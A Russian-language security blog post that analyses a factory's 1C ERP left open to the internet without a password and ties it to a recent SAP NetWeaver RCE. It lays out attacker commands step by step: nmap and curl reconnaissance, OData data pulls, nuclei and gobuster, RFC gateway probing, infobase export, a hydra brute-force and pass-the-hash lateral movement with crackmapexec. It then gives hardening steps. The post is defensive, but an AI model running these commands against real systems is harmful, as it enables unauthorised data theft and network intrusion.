CIOlogia Безопасность бизнеса · не на словах, а с доказательствами
← Все разборы Информационная безопасность

Открытая ERP без пароля: как один HTTP-запрос вскрывает завод — и при чём тут свежая RCE в SAP

История про производственную компанию, чья учётная система смотрела в интернет без единой проверки логина — и разбор того же класса уязвимостей, из-за которого SAP только что закрыла критическую дыру в ядре собственных систем.

Разбор CIOlogia
Открытая ERP без пароля: как один HTTP-запрос вскрывает завод — и при чём тут свежая RCE в SAP

Короткая версия этой истории уже разошлась: директор производственной компании заказал ИТ-аудит «на всякий случай», а в результате выяснилось, что учётная система завода была доступна из интернета без единого пароля. Здесь — подробный технический разбор того, как именно это работает, почему такие дыры находят за считаные минуты и почему буквально на днях с точно таким же классом уязвимостей столкнулся один из мировых лидеров ERP-рынка, SAP.

Совпадение неслучайное. Открытая учётная система на производстве и критическая RCE в ядре SAP NetWeaver — это один и тот же архетип проблемы: сервис управления бизнес-данными опубликован наружу, но проверка «кто ты» либо отсутствует, либо обходится одним хитро составленным запросом. Разница только в масштабе бренда, а не в сути уязвимости.

Контекст: почему ERP — любимая цель

ERP-системы (1С:Предприятие, SAP, Oracle EBS и им подобные) исторически проектировались как внутренние корпоративные инструменты. Аутентификация в них часто устроена «по умолчанию доверяем всем, кто достучался до сервиса» — потому что 15-20 лет назад считалось, что достучаться снаружи невозможно физически. Сегодня эти же системы публикуют в интернет ради мобильного доступа, интеграций с сайтом, обмена с контрагентами — а модель доверия остаётся прежней.

Именно так был устроен инцидент SAP: критическая уязвимость в ядре NetWeaver позволяла выполнить произвольный код до авторизации, одним запросом к сервису, который штатно торчит наружу у тысяч компаний по всему миру. Это ровно тот же принцип, что и в кейсе с заводом — только там дыру нашёл аудитор, а не исследователь, публикующий CVE.

Как это эксплуатируется — по шагам

Ниже — типовая последовательность действий при обнаружении незащищённого веб-интерфейса ERP-системы на внешнем периметре. Все команды — стандартный инструментарий пентестера, вывод — характерный для таких находок.

1. Разведка периметра

nmap -sV -p 80,443,1540,1541,1560,8080 -T4 203.0.113.10

PORT     STATE SERVICE    VERSION
80/tcp   open  http       Apache httpd (1C:Enterprise web extension)
443/tcp  open  ssl/http   Apache httpd
1540/tcp open  1c-ras     1C:Enterprise RAS
1541/tcp open  1c-ragent  1C:Enterprise RAgent

Уже на этом этапе видно: сервис публикации веб-приложений 1С открыт наружу, плюс административный агент кластера (порты 1540/1541) — то, что вообще не должно быть доступно из интернета ни при каких обстоятельствах.

2. Поиск информационных баз без авторизации

curl -s http://203.0.113.10/e1cib/list

<html>
<body>
Информационные базы:
<a href="/UNF_Production/">UNF_Production</a>
<a href="/ZUP_Salary/">ZUP_Salary</a>
</body>
</html>

Список опубликованных баз виден любому анонимному запросу — включая базу зарплат. Дальше — попытка достучаться до OData/HTTP-сервиса без сессии:

curl -s -u "" "http://203.0.113.10/UNF_Production/odata/standard.odata/Catalog_Клиенты?$format=json"

{
  "value": [
    {"Наименование":"ООО Мебель-Плюс","ИНН":"77XXXXXXXX","Телефон":"+7..."},
    {"Наименование":"ЗАО ТоргДом","ИНН":"77XXXXXXXX","Телефон":"+7..."}
  ]
}

Ответ 200 без единого заголовка WWW-Authenticate означает, что стандартный логин был отключён на уровне публикации — распространённая ошибка настройки веб-сервера при интеграции 1С с сайтом или мобильным приложением.

3. Автоматизация поиска через nuclei и gobuster

nuclei -u http://203.0.113.10 -t exposures/ -t misconfiguration/

[1c-infobase-list] [http] [medium] http://203.0.113.10/e1cib/list
[exposed-odata-service] [http] [high] http://203.0.113.10/UNF_Production/odata/

gobuster dir -u http://203.0.113.10 -w /usr/share/wordlists/dirb/common.txt -x hs,odata

/e1cib/hs/salary          (Status: 200)
/e1cib/hs/purchases       (Status: 200)

Аналогичная логика используется и при поиске SAP-инсталляций с открытым RFC-шлюзом: сканируется порт 3300/3200/50000, проверяется доступность гейта без ACL:

nmap -p 3300,3200,50000,8000 --script sap-router-info 203.0.113.20
curl -s http://203.0.113.20:50000/sap/bc/soap/rfc

При отсутствующем sec_info/reginfo на RFC-шлюзе злоумышленник получает возможность зарегистрировать произвольную RFC-функцию и выполнить код на сервере — это и есть суть класса уязвимостей RECON/CVE-2020-6287 и последующих критических патчей ядра SAP, включая свежую.

Что и почему сработало бы дальше

  • Полная выгрузка данных. Через OData или HS-сервис можно постранично выкачать весь справочник контрагентов, номенклатуру, цены закупки и остатки — без единого лога, похожего на «взлом», потому что запросы штатные.
  • Экспорт информационной базы. При наличии доступа к RAS (порт 1540) можно запросить выгрузку .dt-файла целиком:
    rac cluster list
    rac infobase summary list --cluster=... 
    
    Дальше файл открывается локально в конфигураторе — это уже не утечка отдельных таблиц, а полная копия учётной системы предприятия, включая зарплатные ведомости и переписку с поставщиками.
  • Подбор и использование учётных данных. Если часть сервисов всё же защищена паролем, но использует слабые или дефолтные учётки, в ход идёт brute-force:
    hydra -L users.txt -P rockyou.txt 203.0.113.10 http-post-form \
    "/e1cib/login:username=^USER^&password=^PASS^:incorrect"
  • Разворот атаки вглубь сети. Сервер публикации 1С обычно стоит в той же VLAN, что и файловый сервер и контроллер домена. Получив RCE через уязвимость публикации (в SAP — через RFC-инъекцию, в 1С — через уязвимости платформы или загрузку внешних обработок), атакующий переходит к:
    smbclient -L //203.0.113.10 -N
    crackmapexec smb 10.10.10.0/24 -u admin -H <ntlm_hash>
    — то есть от «просто посмотрел базу» до контроля над всей внутренней сетью производства.

Полутехнические пруфы: как это выглядит в реальности

  • Заголовок ответа сервера прямо выдаёт технологию: Server: Apache/2.4 (1C:Enterprise web extension).
  • Отсутствие заголовка WWW-Authenticate в ответе 200 на защищённый по логике маршрут — верный признак того, что аутентификация отключена на уровне публикации, а не «просто плохой пароль».
  • Старые релизы платформы 1С без обновлений безопасности годами эксплуатируются именно потому, что «работает — не трогай»: обновления закрывают в том числе уязвимости в самом HTTP-сервисе, а не только в прикладной конфигурации.
  • Для SAP — идентичная картина: уязвимости уровня ядра (включая недавнюю максимальную по CVSS) эксплуатируются одним запросом до авторизации к сервису, который считался «внутренним», но годами торчал в интернет ради удобства удалённого доступа сотрудников.
  • В журналах веб-сервера такие обращения выглядят как штатные GET/POST-запросы к легитимным путям (/e1cib/, /sap/bc/) — без единого признака «атаки» в привычном понимании SIEM-правил, заточенных под сканеры и брутфорс.

Как закрыть

  1. Убрать прямую публикацию сервиса в интернет. Доступ должен идти только через VPN или обратный прокси с обязательной клиентской аутентификацией:
    # пример ограничения по сети на уровне nginx-proxy
    location /e1cib/ {
        allow 10.10.10.0/24;
        deny all;
    }
  2. Закрыть административные порты кластера наружу. Порты 1540/1541/1560 (RAS/RAgent для 1С) или RFC-шлюз SAP не должны быть доступны из интернета в принципе — только из локальной сети управления:
    iptables -A INPUT -p tcp --dport 1540 -s 10.10.10.0/24 -j ACCEPT
    iptables -A INPUT -p tcp --dport 1540 -j DROP
  3. Обновить платформу до актуального релиза. Для 1С — переход на текущую версию платформы и конфигурации с закрытыми известными уязвимостями публикации; для SAP — оперативная установка Security Notes в день выхода, а не «в следующем плановом окне».
  4. Настроить проверку ACL на RFC-шлюзе (для SAP) через sec_info/reginfo, запретив регистрацию неавторизованных функций.
  5. Включить алертинг на подключения извне. Простое уведомление в мессенджер при попытке коннекта к административным портам ловит проблему до того, как она превращается в утечку — это дешевле любого дальнейшего расследования.
  6. Провести ретро-проверку логов. Если сервис был открыт долго, стоит поднять access-логи веб-сервера за последние месяцы и поискать аномальные обращения к /odata/, /e1cib/hs/ и другим сервисным путям — признак того, что данные могли уже уйти незаметно.
Самые дорогие утечки — это те, о существовании которых компания даже не подозревает.

Кейс завода и свежий патч SAP объединяет одно: критическая дыра почти никогда не выглядит как «взлом». Она выглядит как обычный HTTP-запрос к сервису, который просто забыли закрыть — потому что когда-то он был удобной опцией, а не угрозой.